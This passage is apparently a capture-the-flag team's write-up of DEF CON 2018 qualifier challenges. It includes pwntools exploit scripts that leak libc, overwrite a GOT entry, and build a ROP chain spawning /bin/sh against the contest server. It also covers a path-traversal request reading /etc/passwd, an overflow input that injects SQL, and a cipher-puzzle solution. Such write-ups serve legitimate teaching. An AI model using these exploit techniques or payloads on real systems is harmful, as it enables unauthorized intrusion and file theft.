  modify_tires_w(0xffff)
  modify_tires_a(0xffff)
  modify_tires_c(0xffff)
  modify_tires_d(0xffff)
  addr = ""
  for i in xrange(8):
    addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0)))
  heap = u64(addr) - 0xe0
  print "heap =", hex(heap)
  h = -0xa0
  puts_got = 0x603020

  leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff
  addr = ""
  for i in xrange(8):
    addr += chr(int(modify_transmission(leak+i,0x44,0)))
  puts = u64(addr)
  libc.address = puts - libc.symbols["puts"]
  print "libc.address =" , hex(libc.address)
  exit_got = 0x0603060
  magic = libc.address + 0xf1147
  leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff
  print hex(magic)
  for i in xrange(8):
    modify_transmission(leak+i,ord(p64(magic)[i]),1)
  buy()
  tires(1)
  r.sendline("ls")


  r.interactive()

Say Hi!

You can send anything as the flag !! OOO{Happy Mother's Day!!}`

exzendtential-crisis (unsolved)

After loggin in, we found a LFI vulnerability. http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd

We retrive these files from the server:

  • All PHP source code, but flag.php is WAFed.
  • /etc/php7/apache2/php.ini (not sure, I forget the exact location)
  • /usr/lib/php/20151012/mydb.so (found the path in php.ini)
  • /var/lib/mydb/mydb.db (found the path in mydb.so)

The main problem is the customized functions, check_redential, get_user_id .... Those function use PHP extension, written in C++, in mydb.so.

A quick reverse engineering will find a interesting function check_hacker_attempt. You can found the source code in the official repo. the strcpy leads to a buffer overflow. It copies a std::string to a 100 byte C string.

Our main objective is to make get_user_id() return 1, which is the admin's user id. Exploiting the buffer overflow can overwrite the table_name.

Here is the evil input: print("A"*112+"users where rowid=1;--")

The SQL query becomes:

select rowid from users where rowid=1;-- where username = '...' and password = '...';

Then the query returns 1. We are the admin now. Visit flag.php and get the flag!

Postscript: We fail to solve this because the reversing of strcyp tends to be confusing here. The code below is equal to strcpy. However, we somehow missed this part :(

v5 = str_len + 1;
if ( v5 >= 8 )
{
  *(_QWORD *)to_check = *(_QWORD *)username;
  *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8];
  qmemcpy(
    (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL),
    (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]),
    8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));
}
else if ( v5 & 4 )
{
  *(_DWORD *)to_check = *(_DWORD *)username;
  *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];
}
else if ( v5 )
{
  *to_check = *username;
  if ( v5 & 2 )
    *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];
}
v12 = sub_34E0;
v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;

Guest Chefs

PHP Eval White-List

  • run die("../flag");
  • OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}

ghettohackers: Throwback

The interval of each '!' is the index of alphabet.

The text is Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!. First we try to find all letters on '!' and get nwltisoos. We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed. Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got [4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]. We think these numbers are the index of alphabet (e.g. 4 is d), and write a code to print the answer.

ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'
sp = ori.split('!')
print repr(''.join(chr(97 + len(s) - 1) for s in sp))

ddtek: Preview

reverse

  • Use IDA pro to decompile the binary.
  • At first galance, we cannot get any useful information.
  • Use gdb and find out that it will mmap a new area for real program
  • There is a function which will do some xor stuff on 0x602000 and mmap an memory area for it. That is real program
  • In gdb, you can do this dump binary memory result.bin 0x602000 0x605000

  • Now we have the real program.

exploit

  1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address
  2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address
  3. make the program stack overflow, bypass the canary, and use ROP to get shell
from pwn import *
import sys
import time
import random
host = 'cee810fa.quals2018.oooverflow.io'
port = 31337

binary = "./preview"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc.so.6")
  log.success("libc load success")
  system_off = libc.symbols.system
  log.success("system_off = "+hex(system_off))
except:
  log.failure("libc not found !")


if len(sys.argv) == 1:
  r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
  #r = remote("127.0.0.1" ,4444)

else:
  r = remote(host ,port)
  r.recvuntil("Challenge: ")
  Challenge = r.recvuntil("\n")[:-1]
  r.recvuntil("n:")
  n = r.recvuntil("\n")[:-1]
  r.recvuntil("Solution:")
  p = process(["/usr/bin/python", "./pow.py",Challenge ,n ])
  print "pow..."
  p.recvuntil("Solution: ")
  ans = p.recvuntil(" ")[:-1]
  r.sendline(ans)

if __name__ == '__main__':
  print "start"
  r.recvuntil("Standing by for your requests\n")
  r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42)
  r.recvuntil("Here's your preview:\n")
  data = r.recvuntil("\n")
  if "/lib/x86_64-linux-gnu/ld-2" in data:
    ld_addr = data[:data.find("-")]
    r.recvuntil("\n")
    r.recvuntil("\n")
    data = r.recvuntil("\n")
    if "r-xp" in data:
      code = data[:data.find('-')]
    else:
      data = r.recvuntil("\n")
      code = data[:data.find('-')]
  elif "r-xp" in data:
    code = data[:data.find('-')]
    r.recvuntil("\n")
    r.recvuntil("\n")
    data = r.recvuntil("\n")
    ld_addr = data[:data.find("-")]
  ld_addr = int(ld_addr,16)
  code = int(code,16)
  pop_rdi = 0x00000000000010b3 + code
  pop_rsi_1 = 0x00000000000010b1 + code
  puts_got = code + 0x202020
  puts_plt = code + 0x0009E0
  read_plt = code + 0x000A60
  pop_rsp_3 = code + 0x00000000000010ad
  print "code =", hex(code)
  print "ld_addr =" ,hex(ld_addr)
  canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100
  print "canary =" , hex(canary)
  raw_input("@")
  r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt)  + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800))
  r.recvuntil("Malformed request\n")

  puts = u64(r.recv(6).ljust(8,"\x00"))
  libc.address = puts - libc.symbols['puts']
  print "libc.address =" , hex(libc.address)
  r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")

  r.interactive()